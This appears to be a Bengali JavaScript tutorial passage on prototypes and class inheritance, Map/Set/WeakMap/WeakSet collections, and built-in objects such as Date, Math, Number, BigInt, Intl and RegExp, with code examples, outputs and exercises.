class Animal { speak() { console.log("Animal makes a sound"); } } class Dog extends Animal { speak() { console.log("Dog barks"); } } const dog = new Dog(); dog.speak();
Dog barks
Child-এর method priority পায়।
super.method()Parent-এর method-ও চাইলে call করা যায়।
class Animal { speak() { console.log("Animal makes a sound"); } } class Dog extends Animal { speak() { super.speak(); console.log("Dog barks"); } } const dog = new Dog(); dog.speak();
Animal makes a sound Dog barks
যদি untrusted user input দিয়ে object prototype modify করার সুযোগ তৈরি হয়, application-এর অন্য object-ও প্রভাবিত হতে পারে।
Conceptually dangerous pattern:
Object.prototype.isAdmin = true;
এখন:
const user = {}; console.log(user.isAdmin);
true
যদিও user-এর মধ্যে আমরা:
isAdmin
লিখিনি।
কারণ এটি:
থেকে এসেছে।
Object.create(null)Prototype ছাড়া object তৈরি করা যায়:
const data = Object.create(null); data.name = "Ripon"; console.log(data.name);
Ripon
এখানে:
Object.getPrototypeOf(data)
এর output:
null
অর্থাৎ prototype chain নেই।
Object.create(null) ব্যবহার করা হয়?বিশেষ কিছু dictionary/map-like data structure-এ এটি useful হতে পারে।
const dictionary = Object.create(null); dictionary.name = "Ripon"; dictionary.role = "Developer";
এখানে inherited properties নেই।
তবে সাধারণ application data-এর জন্য সাধারণত:
{}
ব্যবহার করাই সহজ।
ধরো:
const user = { name: "Ripon" };
এখানে:
name
হলো নিজের property।
কিন্তু:
user.toString
prototype chain থেকে আসতে পারে।
Object.getOwnPropertyNames()Object-এর নিজের property names দেখতে:
const user = { name: "Ripon", age: 25 }; console.log(Object.getOwnPropertyNames(user));
["name", "age"]
এটি prototype-এর properties দেখাবে না।
Object.getOwnPropertyDescriptors()আরও বিস্তারিত property information দেখতে:
const user = { name: "Ripon" }; console.log( Object.getOwnPropertyDescriptors(user) );
এতে property-এর:
value writable enumerable configurable
ইত্যাদি information পাওয়া যায়।
Example:
const user = { name: "Ripon" }; console.log( Object.getOwnPropertyDescriptor(user, "name") );
Conceptually output:
{
value: "Ripon",
writable: true,
enumerable: true,
configurable: true
}
| Property | Meaning |
|---|---|
value | value কী |
writable | value পরিবর্তন করা যাবে কিনা |
enumerable | loop/Object.keys-এ দেখা যাবে কিনা |
configurable | property delete/descriptor change করা যাবে কিনা |
Object.defineProperty()Property-এর behavior control করা যায়।
const user = {}; Object.defineProperty(user, "name", { value: "Ripon", writable: false }); console.log(user.name);
Ripon
এখন:
user.name = "Rahim";
করলেও সাধারণ strict-mode environment-এ error হতে পারে, আর non-strict mode-এ assignment silently fail করতে পারে।
Object property read করার সময় function চালানো যায়।
const user = { firstName: "Shariar", lastName: "Ripon", get fullName() { return this.firstName + " " + this.lastName; } }; console.log(user.fullName);
Shariar Ripon
খেয়াল করো:
user.fullName
লিখেছি।
user.fullName()
লিখিনি।
কারণ এটি getter।
Property set করার সময় function চালানো যায়।
const user = { name: "Ripon", set username(value) { this.name = value; } }; user.username = "Rahim"; console.log(user.name);
Rahim
const account = { _balance: 1000, get balance() { return this._balance; }, set balance(amount) { if (amount >= 0) { this._balance = amount; } } }; console.log(account.balance); account.balance = 5000; console.log(account.balance);
1000 5000
এখানে setter-এর মাধ্যমে validation করা হয়েছে।
| বিষয় | Prototype | Class |
|---|---|---|
| JavaScript-এর মূল object model | ✅ | Prototype-এর উপর syntax |
| Syntax | তুলনামূলক complex | সহজ |
| Inheritance | Object.create() ইত্যাদি | extends |
| Constructor | Function | constructor() |
| Method | .prototype | class body |
| Beginner-friendly | কম | বেশি |
| Modern code | কম direct | বেশি ব্যবহৃত |
এবার সব একসাথে দেখি।
class Person { constructor(name) { this.name = name; } introduce() { console.log("My name is " + this.name); } } class Student extends Person { constructor(name, department, id) { super(name); this.department = department; this.id = id; } study() { console.log( this.name + " is studying " + this.department ); } } const student = new Student( "Ripon", "CSE", "23105101019" ); student.introduce(); student.study(); console.log(student instanceof Student); console.log(student instanceof Person); console.log(student instanceof Object);
My name is Ripon Ripon is studying CSE true true true
ধরো একটি university system-এ:
তাহলে:
class Person { constructor(name) { this.name = name; } login() { console.log(this.name + " logged in"); } } class Student extends Person { study() { console.log(this.name + " is studying"); } } class Teacher extends Person { teach() { console.log(this.name + " is teaching"); } } const student = new Student("Ripon"); const teacher = new Teacher("Rahman"); student.login(); student.study(); teacher.login(); teacher.teach();
Ripon logged in Ripon is studying Rahman logged in Rahman is teaching
এখানে common functionality:
login()
Person থেকে এসেছে।
আর specific functionality:
study() teach()
নিজ নিজ child class-এ আছে।
একবার এই diagram বুঝে ফেললে অনেক কিছু পরিষ্কার হয়ে যাবে:
আর actual instance lookup:
এই Chapter থেকে অবশ্যই জানতে হবে:
Object.getPrototypeOf(obj);
obj.hasOwnProperty("name");
in"name" in obj;
Object.create()const child = Object.create(parent);
function Student(name) { this.name = name; }
newconst student = new Student("Ripon");
Student.prototype
Student.prototype.study = function() {};
instanceofstudent instanceof Student;
class Student {}
extendsclass Student extends Person {}
supersuper(name);
speak() {}
Child class একই method redefine করতে পারে।
// Prototype দেখা Object.getPrototypeOf(obj); // Prototype সেট করা Object.setPrototypeOf(obj, prototype); // Prototype দিয়ে object তৈরি Object.create(prototype); // Own property obj.hasOwnProperty("name"); // Own + inherited property "name" in obj; // Constructor function Student(name) { this.name = name; } // Constructor prototype Student.prototype; // Prototype method Student.prototype.study = function() {}; // Create instance const s = new Student("Ripon"); // Instance check s instanceof Student; // Modern inheritance class Student extends Person {} // Parent constructor super(name); // Parent method super.method();
একটি:
Person
constructor তৈরি করো।
Properties:
name age
Person.prototype-এ:
introduce()
method তৈরি করো।
My name is Ripon
Student নামে আরেকটি constructor তৈরি করো এবং Person থেকে inheritance করাও।
Student-এর property:
department
Check করো:
student instanceof Student student instanceof Person student instanceof Object
তিনটির output কী হবে?
এই code-এর prototype chain বের করো:
class Animal {} class Dog extends Animal {} const dog = new Dog();
Expected structure:
এরপর JavaScript কোনো method খুঁজলে roughly:
এই Prototype Chain-টাই JavaScript-এর object system-এর মূল ভিত্তি। class ব্যবহার করলেও ভিতরের ধারণাটি prototype-based।
Chapter 12-এ এরপর আমরা Map, Set, WeakMap, WeakSet — JavaScript-এর Advanced Collections শিখতে পারি।
Chapter 11-এ আমরা Prototype, Prototype Chain, Constructor, Class ও Inheritance শিখেছি। এবার JavaScript-এর এমন কিছু data structure শিখব যেগুলো real-life application-এ অনেক কাজে লাগে:
বিশেষ করে Map এবং Set খুব ভালোভাবে শেখা জরুরি। 🔥
Collection মানে হলো:
আমরা আগে Array এবং Object শিখেছি।
যেমন:
const students = ["Ripon", "Rahim", "Karim"];
এখানে Array ব্যবহার করেছি।
আবার:
const student = { name: "Ripon", department: "CSE" };
এখানে Object ব্যবহার করেছি।
কিন্তু কিছু ক্ষেত্রে Object/Array-এর চেয়ে Map বা Set বেশি সুবিধাজনক।
Map হলো এমন একটি collection যেখানে:
pair হিসেবে data রাখা হয়।
Object-এর মতো মনে হচ্ছে, কিন্তু Map অনেক বেশি flexible।
const user = new Map(); console.log(user);
set()Map-এ data যোগ করতে:
set()
ব্যবহার করা হয়।
const user = new Map(); user.set("name", "Ripon"); user.set("age", 25); user.set("department", "CSE"); console.log(user);
get()const user = new Map(); user.set("name", "Ripon"); user.set("age", 25); console.log(user.get("name")); console.log(user.get("age"));
Ripon 25
const user = new Map(); user.set("name", "Ripon"); console.log(user.get("age"));
undefined
কারণ:
age
key নেই।
has() — Key আছে কিনাconst user = new Map(); user.set("name", "Ripon"); console.log(user.has("name")); console.log(user.has("age"));
true false
map.has(key);
delete() — Data Remove করাconst user = new Map(); user.set("name", "Ripon"); user.set("age", 25); user.delete("age"); console.log(user);
clear() — সব Data Removeconst user = new Map(); user.set("name", "Ripon"); user.set("age", 25); user.clear(); console.log(user);
size — কতগুলো Item আছেconst user = new Map(); user.set("name", "Ripon"); user.set("age", 25); user.set("department", "CSE"); console.log(user.size);
3
খেয়াল করো:
map.size
এখানে () নেই।
| Method | কাজ |
|---|---|
set() | Data যোগ করে |
get() | Data বের করে |
has() | Key আছে কিনা দেখে |
delete() | নির্দিষ্ট item remove করে |
clear() | সব item remove করে |
size | মোট item সংখ্যা |
এটাই Map-এর বড় সুবিধাগুলোর একটি।
Object-এ সাধারণত property key string বা symbol-based হয়।
কিন্তু Map-এ key হিসেবে ব্যবহার করা যায়:
String Number Boolean Object Array Function Symbol
ইত্যাদি।
const students = new Map(); students.set(101, "Ripon"); students.set(102, "Rahim"); console.log(students.get(101));
Ripon
const data = new Map(); data.set(true, "Logged In"); data.set(false, "Logged Out"); console.log(data.get(true));
Logged In
const user1 = { name: "Ripon" }; const user2 = { name: "Rahim" }; const scores = new Map(); scores.set(user1, 95); scores.set(user2, 88); console.log(scores.get(user1)); console.log(scores.get(user2));
95 88
এখানে object-গুলো নিজেরাই key।
const map = new Map(); const numbers = [1, 2, 3]; map.set(numbers, "Numbers Array"); console.log(map.get(numbers));
Numbers Array
function greet() { console.log("Hello"); } const map = new Map(); map.set(greet, "Greeting Function"); console.log(map.get(greet));
Greeting Function
Map তৈরি করার সময় initial data দেওয়া যায়।
const user = new Map([ ["name", "Ripon"], ["age", 25], ["department", "CSE"] ]); console.log(user.get("name"));
Ripon
Map-এর সবচেয়ে common way:
for...of
const user = new Map([ ["name", "Ripon"], ["age", 25], ["department", "CSE"] ]); for (const [key, value] of user) { console.log(key, value); }
name Ripon age 25 department CSE
keys()শুধু keys দেখতে:
const user = new Map([ ["name", "Ripon"], ["age", 25], ["department", "CSE"] ]); for (const key of user.keys()) { console.log(key); }
name age department
values()শুধু values:
for (const value of user.values()) { console.log(value); }
Ripon 25 CSE
entries()Key + value pair:
for (const entry of user.entries()) { console.log(entry); }
["name", "Ripon"] ["age", 25] ["department", "CSE"]
এভাবে সবচেয়ে সুন্দর:
for (const [key, value] of user) { console.log(`${key}: ${value}`); }
name: Ripon age: 25 department: CSE
ধরো Student ID দিয়ে marks store করব।
const marks = new Map(); marks.set("CSE101", 85); marks.set("CSE102", 90); marks.set("CSE103", 78); console.log(marks.get("CSE102"));
90
এখানে:
const products = new Map(); products.set("Laptop", 75000); products.set("Phone", 35000); products.set("Keyboard", 2500); console.log(products.get("Laptop"));
75000
ধরো:
const fruits = [ "apple", "banana", "apple", "orange", "banana", "apple" ];
আমরা count করতে চাই।
const count = new Map(); for (const fruit of fruits) { count.set( fruit, (count.get(fruit) || 0) + 1 ); } console.log(count);
🔥 এই pattern অনেক useful:
map.set(
key,
(map.get(key) || 0) + 1
);
এখন আসি Set-এ।
const numbers = new Set(); numbers.add(10); numbers.add(20); numbers.add(10); console.log(numbers);
দুইবার 10 দেওয়া হলেও একবারই আছে।
const numbers = new Set(); console.log(numbers);
add()Set-এ data যোগ করতে:
numbers.add(10); numbers.add(20); numbers.add(30);
const numbers = new Set(); numbers.add(10); numbers.add(10); numbers.add(10); console.log(numbers.size);
1
has()const numbers = new Set([10, 20, 30]); console.log(numbers.has(20)); console.log(numbers.has(50));
true false
delete()const numbers = new Set([10, 20, 30]); numbers.delete(20); console.log(numbers);
clear()const numbers = new Set([10, 20, 30]); numbers.clear(); console.log(numbers);
sizeconst numbers = new Set([10, 20, 30]); console.log(numbers.size);
3
const numbers = new Set([10, 20, 30, 40]); console.log(numbers);
🔥 Set-এর সবচেয়ে common practical use।
ধরো:
const numbers = [ 10, 20, 10, 30, 20, 40 ];
Duplicate remove:
const uniqueNumbers = [...new Set(numbers)]; console.log(uniqueNumbers);
[10, 20, 30, 40]
const skills = [ "HTML", "CSS", "JavaScript", "React", "JavaScript", "Node.js", "React" ]; const uniqueSkills = [...new Set(skills)]; console.log(uniqueSkills);
[
"HTML",
"CSS",
"JavaScript",
"React",
"Node.js"
]
এটা real-life portfolio বা form data cleaning-এ কাজে লাগতে পারে।
const skills = new Set([ "HTML", "CSS", "JavaScript" ]); for (const skill of skills) { console.log(skill); }
HTML CSS JavaScript
keys(), values(), entries()Set-এর ক্ষেত্রে:
set.keys() set.values() set.entries()
আছে।
const numbers = new Set([10, 20, 30]); console.log([...numbers.keys()]); console.log([...numbers.values()]); console.log([...numbers.entries()]);
[10, 20, 30]
[10, 20, 30]
[
[10, 10],
[20, 20],
[30, 30]
]
Set-এ key এবং value একই।
না।
const user = { name: "Ripon", age: 25 };
Key-value pair:
const skills = new Set([ "HTML", "CSS", "JS" ]);
শুধু unique values:
value value value
| বিষয় | Object | Map |
|---|---|---|
| Key-value | ✅ | ✅ |
| Key type | String/Symbol | যেকোনো value |
size | সরাসরি নেই | ✅ |
set() | ❌ | ✅ |
get() | ❌ | ✅ |
has() | আলাদা methods | ✅ |
| Iteration | তুলনামূলক less direct | সহজ |
| Object key | special handling | সরাসরি |
| Structured data | খুব ভালো | ভালো |
| Dictionary-like data | ভালো | খুব ভালো |
যখন data-এর structure fixed বা JSON/API-like হয়:
const user = { name: "Ripon", email: "ripon@example.com", department: "CSE" };
এখানে Object খুব natural।
যখন:
তখন Map ভালো choice হতে পারে।
| বিষয় | Array | Set |
|---|---|---|
| Duplicate | ✅ | ❌ |
| Index | ✅ | ❌ |
length | ✅ | ❌ |
size | ❌ | ✅ |
push() | ✅ | ❌ |
add() | ❌ | ✅ |
| Unique values | নিজে handle করতে হয় | Built-in |
এখন advanced part।
WeakMap দেখতে Map-এর মতো, কিন্তু এর key-এর ক্ষেত্রে গুরুত্বপূর্ণ restriction আছে:সবচেয়ে সহজভাবে object key দিয়ে example দেখি।
const weakMap = new WeakMap(); const user = { name: "Ripon" }; weakMap.set(user, "Private Data"); console.log(weakMap.get(user));
Private Data
const weakMap = new WeakMap(); weakMap.set("name", "Ripon");
এটি কাজ করবে না।
কারণ:
WeakMap-এ:
আছে।
কিন্তু Map-এর মতো:
নেই।
এখানে memory management-এর ধারণা আসে।
ধরো:
let user = { name: "Ripon" }; const weakMap = new WeakMap(); weakMap.set(user, "Private Data");
এখন user object-এর আর কোনো strong reference না থাকলে garbage collector ভবিষ্যতে object-টিকে memory থেকে remove করতে পারে।
WeakMap সেই object-কে জোর করে memory-তে ধরে রাখে না।
এজন্য:
JavaScript automatically unused objects-এর memory reclaim করতে পারে।
ধরো:
let user = { name: "Ripon" };
তারপর:
user = null;
যদি object-টির আর কোনো reachable reference না থাকে, garbage collector ভবিষ্যতে সেটিকে remove করতে পারে।
এটি JavaScript-এর automatic memory management-এর অংশ।
WeakMap ব্যবহার করা যায় object-এর সাথে extra/private metadata রাখার ক্ষেত্রে।
const privateData = new WeakMap(); class User { constructor(name, password) { this.name = name; privateData.set(this, { password: password }); } checkPassword(password) { return privateData.get(this).password === password; } } const user = new User( "Ripon", "12345" ); console.log(user.checkPassword("12345"));
true
এখানে password সরাসরি:
user.password
হিসেবে রাখা হয়নি।
WeakSet হলো Set-এর weak-reference version।
এখানে সাধারণত object রাখা হয়।
const weakSet = new WeakSet(); const user1 = { name: "Ripon" }; const user2 = { name: "Rahim" }; weakSet.add(user1); weakSet.add(user2); console.log(weakSet.has(user1));
true
না।
const weakSet = new WeakSet(); weakSet.add(10);
এটি কাজ করবে না।
WeakSet-এ object বা non-registered Symbol ধরনের value ব্যবহার করা যায়।
মূল methods:
add() has() delete()
WeakSet-এ:
নেই।
| বিষয় | Map | WeakMap |
|---|---|---|
| Key | যেকোনো value | Object / non-registered Symbol |
get() | ✅ | ✅ |
set() | ✅ | ✅ |
has() | ✅ | ✅ |
delete() | ✅ | ✅ |
size | ✅ | ❌ |
| Iteration | ✅ | ❌ |
| Garbage collection friendly | সাধারণ | বেশি |
| Object metadata | ভালো | খুব useful |
| বিষয় | Set | WeakSet |
|---|---|---|
| Values | যেকোনো value | Object / non-registered Symbol |
| Duplicate | ❌ | ❌ |
add() | ✅ | ✅ |
has() | ✅ | ✅ |
delete() | ✅ | ✅ |
size | ✅ | ❌ |
| Iteration | ✅ | ❌ |
| GC-friendly | সাধারণ | বেশি |
এবার একটা ছোট বাস্তব example করি।
ধরো আমরা একটা online course platform বানাচ্ছি।
একজন user কোন কোন course enroll করেছে তা রাখতে চাই।
const enrolledCourses = new Map(); const user1 = { id: 101, name: "Ripon" }; enrolledCourses.set(user1, new Set([ "JavaScript", "React", "Node.js" ])); console.log( enrolledCourses.get(user1) );
এখানে:
const courses = enrolledCourses.get(user1); console.log(courses.has("React")); console.log(courses.has("Python"));
true false
courses.add("Python");
console.log(courses);
courses.add("React");
console.log(courses.size);
4
কারণ React আগেই ছিল।
এটা মনে রাখার মতো:
এ ধরনের nested data structure real application-এ ব্যবহার করা যায়।
Chapter 12 থেকে অবশ্যই জানতে হবে:
const map = new Map(); map.set("name", "Ripon"); map.get("name"); map.has("name"); map.delete("name"); map.clear(); map.size;
const set = new Set(); set.add("JavaScript"); set.has("JavaScript"); set.delete("JavaScript"); set.clear(); set.size;
const unique = [...new Set(array)];
const weakMap = new WeakMap(); weakMap.set(object, value); weakMap.get(object); weakMap.has(object); weakMap.delete(object);
const weakSet = new WeakSet(); weakSet.add(object); weakSet.has(object); weakSet.delete(object);
একটি Map বানাও:
তারপর 102 দিয়ে নাম বের করো।
এই Array থেকে duplicate remove করো:
const skills = [ "HTML", "CSS", "JS", "React", "JS", "CSS", "Node" ];
Expected:
[
"HTML",
"CSS",
"JS",
"React",
"Node"
]
এই Array-তে প্রত্যেক number কতবার আছে বের করো:
const numbers = [ 1, 2, 3, 1, 2, 1, 4, 3 ];
Expected:
দুইজন user object তৈরি করো:
const user1 = {}; const user2 = {};
তারপর Map ব্যবহার করে তাদের score রাখো।
একটি Map বানাও যেখানে:
যেমন:
তারপর check করো:
Ripon কি React course-এ আছে?
আজ আমরা শিখলাম:
তারপর:
তারপর advanced:
এবং:
const map = new Map(); const set = new Set(); const weakMap = new WeakMap(); const weakSet = new WeakSet();
আর practical JavaScript-এ সবচেয়ে বেশি মনে রাখার মতো দুইটি pattern:
// Duplicate remove const unique = [...new Set(array)];
এবং:
// Frequency counter map.set(key, (map.get(key) || 0) + 1);
Chapter 13-এ আমরা এরপর JavaScript Built-in Objects — Date, Math, Number, String, RegExp, Intl, BigInt বিস্তারিতভাবে শিখতে পারি।
Chapter 12-এ আমরা Map, Set, WeakMap, WeakSet শিখেছি। এবার JavaScript-এর built-in tools/objects শিখব। এগুলো practically প্রতিদিনের JavaScript development-এ কাজে লাগে:
তারিখ, গাণিতিক হিসাব, বড় সংখ্যা ও আন্তর্জাতিক ফরম্যাটিংয়ের ভিত্তি মজবুত করতে এই অধ্যায়টি অত্যন্ত গুরুত্বপূর্ণ। 🔥
JavaScript আমাদের জন্য আগে থেকেই কিছু object/API তৈরি করে দিয়েছে।
যেমন:
Math Date Number String RegExp JSON Object Array Map Set
এগুলোকে আমরা নিজেরা শুরু থেকে তৈরি না করেও ব্যবহার করতে পারি।
একটি e-commerce website-এ দরকার হতে পারে:
Date ObjectJavaScript-এ date এবং time নিয়ে কাজ করার জন্য:
Date
ব্যবহার করা হয়।
const now = new Date(); console.log(now);
Output তোমার computer-এর current date/time অনুযায়ী হবে।
উদাহরণ:
Wed Sep 16 2026 14:30:00 GMT+0600
Date.now()বর্তমান সময়ের timestamp পাওয়া যায়:
console.log(Date.now());
Output এরকম হতে পারে:
1789545600000
এটি হলো:
const date = new Date(); console.log(date.getFullYear()); console.log(date.getMonth()); console.log(date.getDate()); console.log(date.getDay()); console.log(date.getHours()); console.log(date.getMinutes()); console.log(date.getSeconds());
getFullYear()const date = new Date(); console.log(date.getFullYear());
2026
getMonth() — গুরুত্বপূর্ণ ⚠️const date = new Date(); console.log(date.getMonth());
getMonth() 0-based।
তাই:
const month = new Date().getMonth() + 1;
ব্যবহার করলে সাধারণ 1–12 month number পাওয়া যায়।
getDate()মাসের কত তারিখ:
const date = new Date(); console.log(date.getDate());
যদি 16 September হয়:
16
getDay()সপ্তাহের কোন দিন:
const date = new Date(); console.log(date.getDay());
এটিও 0-based:
const date = new Date(); console.log(date.getHours()); console.log(date.getMinutes()); console.log(date.getSeconds()); console.log(date.getMilliseconds());
const date = new Date(); const year = date.getFullYear(); const month = date.getMonth() + 1; const day = date.getDate(); console.log(`${day}/${month}/${year}`);
Example:
16/9/2026
const date = new Date("2026-09-16"); console.log(date);
আরেকভাবে:
const date = new Date(2026, 8, 16); console.log(date);
0 = January 1 = February ... 8 = September
তাই:
new Date(2026, 8, 16)
মানে:
16 September 2026
Date object compare করা যায়।
const date1 = new Date("2026-09-10"); const date2 = new Date("2026-09-20"); console.log(date1 < date2);
true
ধরো:
const start = new Date("2026-09-01"); const end = new Date("2026-09-16"); const difference = end - start; console.log(difference);
এখানে result milliseconds-এ আসবে।
Days বের করতে:
const days = difference / (1000 * 60 * 60 * 24); console.log(days);
15
const start = new Date("2026-09-10"); const end = new Date("2026-10-10"); const difference = end - start; const days = difference / (1000 * 60 * 60 * 24); console.log(`Duration: ${days} days`);
Duration: 30 days
Date-এর value পরিবর্তন করা যায়।
const date = new Date(); date.setFullYear(2030); date.setMonth(5); date.setDate(20); console.log(date);
Common methods:
JavaScript-এ local time এবং UTC time আলাদা হতে পারে।
যেমন:
const date = new Date(); console.log(date.getHours()); console.log(date.getUTCHours());
getHours() → local time
getUTCHours() → UTC time
toISOString()API এবং database-এর জন্য খুব useful।
const date = new Date(); console.log(date.toISOString());
2026-09-16T08:30:00.000Z
ISO format সাধারণত API communication-এ অনেক ব্যবহৃত হয়।
toLocaleDateString()User-friendly date:
const date = new Date(); console.log( date.toLocaleDateString() );
Output locale অনুযায়ী পরিবর্তিত হতে পারে।
Intl.DateTimeFormatProfessional date formatting-এর জন্য:
const date = new Date("2026-09-16"); const formatter = new Intl.DateTimeFormat( "en-US" ); console.log(formatter.format(date));
9/16/2026
Math ObjectMath object mathematical operations-এর জন্য।
Math
এর অনেক useful method আছে।
Math.PIconsole.log(Math.PI);
3.141592653589793
Math.Econsole.log(Math.E);
2.718281828459045
Math.round()নিকটবর্তী integer:
console.log(Math.round(4.4)); console.log(Math.round(4.6));
4 5
Math.floor()নিচের দিকে round:
console.log(Math.floor(4.9));
4
Math.ceil()উপরের দিকে round:
console.log(Math.ceil(4.1));
5
Math.trunc()Decimal অংশ বাদ দেয়:
console.log(Math.trunc(4.99));
4
Negative number-এ:
console.log(Math.trunc(-4.99));
-4
round() বনাম floor() বনাম ceil() বনাম trunc()| Method | 4.7 | -4.7 |
|---|---|---|
round() | 5 | -5 |
floor() | 4 | -5 |
ceil() | 5 | -4 |
trunc() | 4 | -4 |
Math.abs()Absolute value:
console.log(Math.abs(-50));
50
Math.pow()Power:
console.log(Math.pow(2, 3));
8
তবে modern JavaScript-এ:
console.log(2 ** 3);
এটিও ব্যবহার করা যায়।
Math.sqrt()Square root:
console.log(Math.sqrt(64));
8
Math.cbrt()Cube root:
console.log(Math.cbrt(27));
3
Math.max()সবচেয়ে বড় number:
console.log(Math.max(10, 50, 20, 80));
80
Math.min()সবচেয়ে ছোট:
console.log(Math.min(10, 50, 20, 80));
10
const numbers = [10, 50, 20, 80]; console.log(Math.max(...numbers));
80
এখানে:
...numbers
spread operator।
Math.random()Random number:
console.log(Math.random());
0.7348234
প্রতিবার আলাদা value আসবে।
Range:
const random = Math.floor( Math.random() * 10 ) + 1; console.log(random);
Possible:
1 2 3 ... 10
function randomNumber(min, max) { return Math.floor( Math.random() * (max - min + 1) ) + min; } console.log(randomNumber(1, 100));
Output হতে পারে:
47
function generateCode() { return Math.floor( 100000 + Math.random() * 900000 ); } console.log(generateCode());
Possible:
583214
Math.random() ব্যবহার করা উচিত নয়। সেক্ষেত্রে browser-এর cryptographic random APIs ব্যবহার করতে হয়।Number ObjectJavaScript-এ numbers নিয়ে কাজ করার জন্য Number ব্যবহার করা হয়।
const price = 999; console.log(typeof price);
Number.isInteger()Integer কিনা:
console.log(Number.isInteger(10)); console.log(Number.isInteger(10.5));
true false
Number.isNaN()console.log(Number.isNaN(NaN)); console.log(Number.isNaN("hello"));
true false
এটি strict এবং predictable।
NaNNaN মানে:
Example:
const result = "hello" / 2; console.log(result);
NaN
Number.isFinite()console.log(Number.isFinite(100)); console.log(Number.isFinite(Infinity)); console.log(Number.isFinite("100"));
true false false
Number.MAX_VALUEJavaScript Number-এর খুব বড় finite value:
console.log(Number.MAX_VALUE);
Number.MIN_VALUEসবচেয়ে ছোট positive non-zero number-এর কাছাকাছি:
console.log(Number.MIN_VALUE);
Number.MAX_SAFE_INTEGERconsole.log(Number.MAX_SAFE_INTEGER);
9007199254740991
এর পরে integer precision issue হতে পারে।
console.log( Number.isSafeInteger(9007199254740991) );
true
console.log( 9007199254740991 + 1 ); console.log( 9007199254740991 + 2 );
Large integer precision সীমার কারণে surprising behavior হতে পারে।
এখানে আসে:
BigInt ব্যবহার করা হয় খুব বড় integer-এর জন্য।
Syntax:
const bigNumber = 123456789012345678901234567890n;
শেষে:
n
দিতে হয়।
const bigNumber = 123456789012345678901234567890n; console.log(bigNumber);
123456789012345678901234567890n
const bigNumber = 123n; console.log(typeof bigNumber);
const a = 1000000000000000000n; const b = 2000000000000000000n; console.log(a + b);
3000000000000000000n
এভাবে করা যাবে না:
const a = 10n; const b = 5; console.log(a + b);
দুইটিকে একই type করতে হবে:
console.log(a + BigInt(b));
অথবা:
console.log(Number(a) + b);
console.log(10n / 3n);
3n
Decimal অংশ থাকে না।
console.log(10n > 5); console.log(10n === 10); console.log(10n == 10);
true false true
কারণ:
10n !== 10
কিন্তু loose equality:
10n == 10
true হতে পারে।
Intl কী?Intl মানে:
এটি বিভিন্ন দেশের:
formatting-এর জন্য ব্যবহার করা হয়।
const price = 75000; const formatted = new Intl.NumberFormat( "en-BD", { style: "currency", currency: "BDT" } ).format(price); console.log(formatted);
Output environment/browser অনুযায়ী formatting variation থাকতে পারে, যেমন:
BDT 75,000.00
const price = 1500; const formatted = new Intl.NumberFormat( "en-US", { style: "currency", currency: "USD" } ).format(price); console.log(formatted);
$1,500.00
const price = 1500; console.log( new Intl.NumberFormat("de-DE", { style: "currency", currency: "EUR" }).format(price) );
Output locale অনুযায়ী:
1.500,00 €
const number = 1234567.89; console.log( new Intl.NumberFormat("en-US") .format(number) );
1,234,567.89
const number = 1234567.89; console.log( new Intl.NumberFormat("bn-BD") .format(number) );
এতে Bengali locale অনুযায়ী number formatting পাওয়া যাবে।
const date = new Date("2026-09-16"); const formatted = new Intl.DateTimeFormat( "en-BD", { dateStyle: "full" } ).format(date); console.log(formatted);
Possible output:
Wednesday, September 16, 2026
const date = new Date(); console.log( new Intl.DateTimeFormat("en-BD", { timeStyle: "medium" }).format(date) );
RegExp কী?RegExp = Regular Expression
এটি text-এর মধ্যে pattern খুঁজতে/validate করতে ব্যবহৃত হয়।
যেমন:
Email Phone Password Username URL Search pattern
দুটি common syntax:
const pattern = /hello/;
const pattern = new RegExp("hello");
test()সবচেয়ে সহজ:
const pattern = /hello/; console.log( pattern.test("hello world") );
true
const pattern = /hello/; console.log( pattern.test("good morning") );
false
const pattern = /hello/; console.log( pattern.test("Hello") );
false
কারণ lowercase hello এবং uppercase Hello আলাদা।
i FlagCase-insensitive:
const pattern = /hello/i; console.log( pattern.test("Hello") );
true
g FlagGlobal matching:
const pattern = /hello/g;
এটি multiple matches নিয়ে কাজ করতে সাহায্য করে।
| Flag | Meaning |
|---|---|
i | Case-insensitive |
g | Global |
m | Multiline |
s | Dot matches newline |
u | Unicode |
y | Sticky |
match()const text = "JavaScript is great. JavaScript is powerful."; console.log( text.match(/JavaScript/g) );
[
"JavaScript",
"JavaScript"
]
replace()RegExp দিয়ে text replace:
const text = "I like cats"; const result = text.replace( /cats/, "dogs" ); console.log(result);
I like dogs
replaceAll()const text = "cat cat cat"; const result = text.replaceAll( "cat", "dog" ); console.log(result);
dog dog dog
[abc]a অথবা b অথবা c:
console.log(/[abc]/.test("apple"));
true
[0-9]যেকোনো digit:
console.log(/[0-9]/.test("Hello5"));
true
[a-z]lowercase letter:
console.log(/[a-z]/.test("123a"));
true
| Pattern | Meaning |
|---|---|
\d | Digit |
\D | Not digit |
\w | Word character |
\W | Not word character |
\s | Whitespace |
\S | Not whitespace |
. | Any character except line terminators |
\d Exampleconsole.log(/\d/.test("ABC5"));
true
কারণ 5 একটি digit।
+এক বা একাধিক:
console.log(/\d+/.test("12345"));
true
*শূন্য বা একাধিক:
console.log(/\d*/.test(""));
true
?শূন্য বা এক:
console.log(/colou?r/.test("color")); console.log(/colou?r/.test("colour"));
দুটিই:
true
{n}ঠিক n বার:
console.log(/\d{4}/.test("2026"));
true
{n,m}কমপক্ষে n, সর্বোচ্চ m:
console.log(/\d{2,4}/.test("123"));
true
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; console.log( emailPattern.test("ripon@example.com") );
true
এটি basic validation pattern; production-grade email validation আরও nuanced হতে পারে।
Bangladesh-এর 11-digit mobile number-এর basic pattern:
const phonePattern = /^01\d{9}$/; console.log( phonePattern.test("01712345678") );
true
ধরো password কমপক্ষে 8 characters:
const password = "Ripon123"; console.log( /^.{8,}$/.test(password) );
true
আরও strong validation চাইলে uppercase, lowercase, digit, special character আলাদা করে enforce করতে হবে।
^ এবং $Example:
/^hello$/
এর অর্থ:
hello হতে হবে।console.log(/^hello$/.test("hello")); console.log(/^hello$/.test("hello world"));
true false
String-এর কিছু গুরুত্বপূর্ণ Built-in Methodsincludes()const text = "JavaScript"; console.log(text.includes("Script"));
true
startsWith()console.log( "JavaScript".startsWith("Java") );
true
endsWith()console.log( "JavaScript".endsWith("Script") );
true
repeat()console.log("Hi ".repeat(3));
Hi Hi Hi
String.raw()Special string representation পেতে:
const path = String.raw`C:\Users\Ripon\Desktop`; console.log(path);
C:\Users\Ripon\Desktop
Template literal-এর escape processing-এর কিছু ক্ষেত্রে useful।
String থেকে Number:
console.log(Number("100"));
100
parseInt()console.log(parseInt("100px"));
100
parseFloat()console.log(parseFloat("10.50px"));
10.5
